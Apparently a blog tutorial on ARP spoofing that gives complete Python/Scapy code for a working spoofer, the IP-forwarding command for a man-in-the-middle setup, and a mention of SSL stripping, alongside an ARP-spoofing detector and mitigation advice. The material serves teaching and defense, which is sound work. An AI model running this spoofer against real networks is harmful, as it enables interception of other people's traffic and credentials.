A Complete, Zero-to-Hero Masterclass on Layer 2 Attacks, Ethical Hacking, and Network Defense
Imagine you are sitting in a coffee shop, sipping your latte, and checking your bank balance. You are connected to the shop’s Wi-Fi. The lock icon is on your browser. You feel safe. But silently, invisibly, every single piece of data leaving your laptop—your passwords, your emails, your cookies—is being routed through the device of the teenager sitting in the corner wearing a hoodie. He isn’t hacking the bank; he is hacking the trust between your computer and the router.
This is ARP Spoofing. It is one of the oldest, simplest, yet most devastating attacks in computer networking. It breaks the fundamental assumption of local networks: that devices are who they say they are.
In this massive, definitive guide, we are not just going to talk about it. We are going to build it. We will dismantle the Address Resolution Protocol (ARP) piece by piece to understand its flaws. Then, we will write our own professional-grade ARP Spoofing tool using Python. Finally, because we are ethical hackers, we will build a counter-measure—an ARP Detection and Mitigation tool—to catch the attack in real-time.
Disclaimer: This tutorial is strictly for educational purposes and for testing networks you own or have explicit permission to audit. Unauthorized ARP spoofing is illegal and a violation of computer misuse acts globally.

Chapter 1: The Theory – Anatomy of the Address Resolution Protocol
To hack the network, you must be the network. You cannot build an ARP spoofer if you don’t understand what an ARP packet actually looks like.
1.1 The Problem: IP vs. MAC
The internet runs on IP addresses (Layer 3 of the OSI Model). Your computer knows the Google server is at 8.8.8.8. However, your network card (NIC) and your switch don’t care about IPs. They only speak Ethernet (Layer 2). They communicate using Media Access Control (MAC) addresses—unique hardware IDs burned into every network card (e.g., 00:1A:2B:3C:4D:5E).
When you want to send a packet to 192.168.1.1 (your router), your computer needs to know the router’s MAC address to frame the data.
1.2 The Solution: ARP
This is where ARP comes in. It is the bridge between Layer 3 (IP) and Layer 2 (MAC). The protocol is incredibly simple, consisting of two message types:
- ARP Request: “Who has IP
192.168.1.1? Tell192.168.1.5.” (Broadcast to everyone:FF:FF:FF:FF:FF:FF) - ARP Reply: “I have
192.168.1.1. My MAC address isAA:BB:CC:DD:EE:FF.” (Unicast back to the requester)
1.3 The Fatal Flaw
The ARP protocol was designed in the 1980s, a time of trust. It is stateless and unauthenticated.
- Stateless: Your computer will accept an ARP Reply even if it never sent a Request.
- Unauthenticated: There is no password or cryptographic signature. If I tell your computer “I am the router,” your computer believes me.
This vulnerability is the heart of our project. By flooding a victim with fake “I am the router” packets, and flooding the router with fake “I am the victim” packets, we can redirect all traffic through our machine.
📬 Stay Ahead of Cyber Threats
Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.
Subscribe to the Newsletter →
Chapter 2: Setting Up the Laboratory
Before writing a single line of code, we need a safe environment. Do not do this on your home network if others are using it, as ARP spoofing can cause internet outages (DoS) if not handled correctly.
2.1 Prerequisites
- Host Machine: Any powerful PC (Windows/Mac/Linux).
- Virtualization Software: VirtualBox or VMware Workstation.
- Attacker Machine: Kali Linux VM (The industry standard for penetration testing).
- Victim Machine: Windows 10 VM or a lightweight Linux VM (like Lubuntu).
- Network Adapter: A USB Wi-Fi adapter that supports Monitor Mode is great, but for this specific ARP project, the internal NAT/Bridged network of VirtualBox is sufficient.
2.2 Network Configuration
Ensure both your Kali VM and Victim VM are on the same network. In VirtualBox, set both network adapters to “Bridged Adapter” (to be on your actual LAN) or “NAT Network” (to be on an isolated virtual LAN).
- Kali IP: Check using
ifconfig(e.g.,10.0.2.15). - Victim IP: Check using
ipconfig(Windows) orifconfig(Linux) (e.g.,10.0.2.5). - Gateway IP: usually
10.0.2.1.

Chapter 3: Project Phase 1 – Building the ARP Spoofer
We will use Python 3 and the Scapy library. Scapy is a powerful interactive packet manipulation program. It can forge or decode packets of a wide number of protocols.
3.1 Installing Scapy
On Kali, it’s pre-installed. On other systems:
pip install scapy
3.2 The Logic of the Spoofer
Our script needs to perform three main tasks loops:
- Get MAC Address: We need a helper function to resolve an IP to a MAC address using a legitimate ARP request.
- Spoof: Send a fake ARP reply to the Victim saying “I have the Gateway’s IP.”
- Spoof: Send a fake ARP reply to the Gateway saying “I have the Victim’s IP.”
- Loop: Keep sending these packets every 2 seconds to fight against the legitimate ARP updates.
3.3 Coding the Spoofer (Step-by-Step)
Create a file named arp_spoofer.py.
Step 1: Imports and Setup
import scapy.all as scapy
import time
import sys
Step 2: The get_mac Function
We can’t spoof a target if we don’t know their hardware address.
def get_mac(ip):
# Create an ARP request for the target IP
arp_request = scapy.ARP(pdst=ip)
# Create an Ethernet frame to broadcast to everyone
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
# Combine them
arp_request_broadcast = broadcast/arp_request
# Send packet and wait for response (srp = send and receive packet)
# verbose=False cleans up the console output
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
if answered_list:
# Return the MAC address of the first responder
return answered_list[0][1].hwsrc
else:
return None
Step 3: The spoof Function
This is the weapon. It crafts the lie.
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
if not target_mac:
print(f"[-] Could not find MAC for {target_ip}")
return
# op=2 means ARP REPLY (The lie)
# pdst = Packet Destination (Victim's IP)
# hwdst = Hardware Destination (Victim's MAC)
# psrc = Packet Source (The IP we are pretending to be, e.g., Router)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
# Send the packet
scapy.send(packet, verbose=False)
Step 4: The restore Function (Ethics)
When we stop the attack, we must fix the network. If we just quit, the victim will have the wrong MAC address cached and lose internet access. We must send “correct” packets to heal the network.
def restore(dest_ip, source_ip):
dest_mac = get_mac(dest_ip)
source_mac = get_mac(source_ip)
if dest_mac and source_mac:
# Send the REAL mapping.
# hwsrc is the REAL MAC of the source, not our attacker MAC.
packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac, psrc=source_ip, hwsrc=source_mac)
# Send 4 times to ensure it's received
scapy.send(packet, count=4, verbose=False)
Step 5: The Main Execution Loop
target_ip = "192.168.1.10" # VICTIM IP
gateway_ip = "192.168.1.1" # ROUTER IP
try:
sent_packets_count = 0
print("[+] Starting ARP Spoofing...")
while True:
# Tell victim we are the router
spoof(target_ip, gateway_ip)
# Tell router we are the victim
spoof(gateway_ip, target_ip)
sent_packets_count += 2
# Dynamic print on the same line
print(f"\r[+] Packets sent: {sent_packets_count}", end="")
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("\n[+] Detected CTRL+C ... Resetting ARP tables. Please wait.")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)
print("[+] Network restored. Exiting.")

Chapter 4: Executing the Attack & Packet Forwarding
If you run the script now, you will intercept the packets, but the victim will lose internet access because your Linux machine doesn’t know what to do with the traffic it receives. It will just drop it.
To act as a true Man-in-the-Middle (MITM), you must enable IP Forwarding.
4.1 Enabling IP Forwarding (Linux)
Run this command in your terminal before starting the Python script:
echo 1 > /proc/sys/net/ipv4/ip_forward
Now, your computer acts like a router. It receives the victim’s request for “https://www.google.com/search?q=google.com” and forwards it to the real router. The response comes back to you, and you forward it to the victim. You are now the invisible conduit.
Chapter 5: Project Phase 2 – The Analysis (Wireshark)
Before we build the defense, let’s see what the attack looks like on the wire. This is crucial for understanding how to detect it.
- Open Wireshark on the Attacker machine (or Victim machine).
- Filter by
arp. - Normal Traffic: You see occasional “Who has…” requests and single replies.
- Under Attack: You will see a flood of “is-at” packets (ARP Replies).
- The Smoking Gun: Look at the ARP replies claiming to be the Gateway (
192.168.1.1). In a normal network, the MAC address for the gateway should always be the router’s hardware. During your attack, you will see192.168.1.1is atYOUR_KALI_MAC.
- The Smoking Gun: Look at the ARP replies claiming to be the Gateway (

Chapter 6: Project Phase 3 – Building the ARP Detector
Now, we switch hats. We are the Blue Team. How do we automate the detection of this attack?
The logic for detection is: Monitor ARP packets. If an IP address suddenly changes its MAC address association, raise an alarm.
Create a file named arp_detector.py.
The Detection Code
import scapy.all as scapy
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
if answered_list:
return answered_list[0][1].hwsrc
def sniff(interface):
# store=False prevents memory issues by not keeping packets in RAM
# prn is the callback function called for every packet
scapy.sniff(iface=interface, store=False, prn=process_packet)
def process_packet(packet):
# We are interested in ARP packets containing a response (op=2)
if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2:
try:
real_mac = get_mac(packet[scapy.ARP].psrc)
response_mac = packet[scapy.ARP].hwsrc
# If the MAC in the packet is different from the real MAC
# we just queried, it's a spoof!
if real_mac != response_mac:
print(f"[!] YOU ARE UNDER ATTACK!")
print(f"[!] Real MAC: {real_mac}, Fake MAC: {response_mac}")
except IndexError:
pass
interface = "eth0" # Or wlan0
print(f"[+] Sniffing Interface {interface} for ARP Spoofer...")
sniff(interface)
How it works:
- The script sniffs all traffic.
- When it sees an ARP reply (e.g., “192.168.1.1 is at AA:BB…”), it pauses.
- It independently asks the network “Who has 192.168.1.1?”.
- If the answer matches the packet, it’s safe.
- If the answer differs, the packet is a lie.

Chapter 7: Mitigation Strategies & Enterprise Defense
Writing scripts is fun, but how do huge corporations stop this? They can’t run a Python script on every employee’s laptop.
7.1 Static ARP Entries
For critical servers, you can hard-code the MAC address of the gateway. This tells the OS, “I don’t care what ARP packets you receive; the Gateway is ALWAYS at this MAC.”
- Windows:
netsh interface ipv4 add neighbors "Wi-Fi" 192.168.1.1 00-11-22-33-44-55 - Linux:
arp -s 192.168.1.1 00:11:22:33:44:55 - Pros: 100% secure.
- Cons: Unscalable. If the router changes, internet breaks for everyone.
7.2 Dynamic ARP Inspection (DAI)
This is the gold standard for enterprise switches (Cisco, Juniper). The switch maintains a trusted database of IP-MAC bindings (from DHCP snooping). If a port sends an ARP reply claiming an IP that doesn’t match the database, the switch drops the packet instantly and disables the port.
7.3 Encryption (VPNs & HTTPS)
ARP Spoofing only allows interception. It doesn’t break encryption.
- If you spoof an HTTPS connection, you can see where they are going (DNS/IP), but not the content (passwords).
- However, attackers use tools like SSLstrip to downgrade HTTPS to HTTP.
- Mitigation: Always use a VPN. A VPN creates an encrypted tunnel. Even if the attacker intercepts the packets, they just see garbage encrypted data.

Chapter 8: Conclusion
You have now journeyed through the depths of Layer 2 networking. You’ve learned that trust in a local network is an illusion. You’ve learned that protocols designed 40 years ago are still the backbone of the modern internet, and they are fragile.
But most importantly, you didn’t just read about it. You built the tool. You built the attack, and you built the defense.
Key Takeaways:
- ARP maps IP to MAC. It is unauthenticated.
- Spoofing works by flooding a victim with fake associations.
- MITM allows data interception and manipulation.
- Detection relies on checking MAC consistency.
- Mitigation requires static entries, intelligent hardware, or strong encryption (VPNs).
Stay curious, stay ethical, and keep coding.
Frequently Asked Questions (FAQ)
Q: Can I use this code on my school/work Wi-Fi? A: NO. That is illegal. Only use this on your own home network or a lab environment you created.
Q: Why does my internet stop working when I run the spoofer? A: You likely forgot to enable IP Forwarding on your attacking machine. Without it, your machine acts like a black hole for traffic.
Q: Does this work on HTTPS websites? A: You will intercept the traffic, but it will be encrypted. You cannot read the passwords unless you strip the SSL (using tools like sslstrip), but modern browsers use HSTS to prevent this.
Q: Can I perform ARP spoofing over the internet? A: No. ARP is a Layer 2 protocol (LAN only). It does not leave your local router.
About the Author: This guide was generated for the ultimate cybersecurity enthusiast looking to bridge the gap between theory and Python implementation.









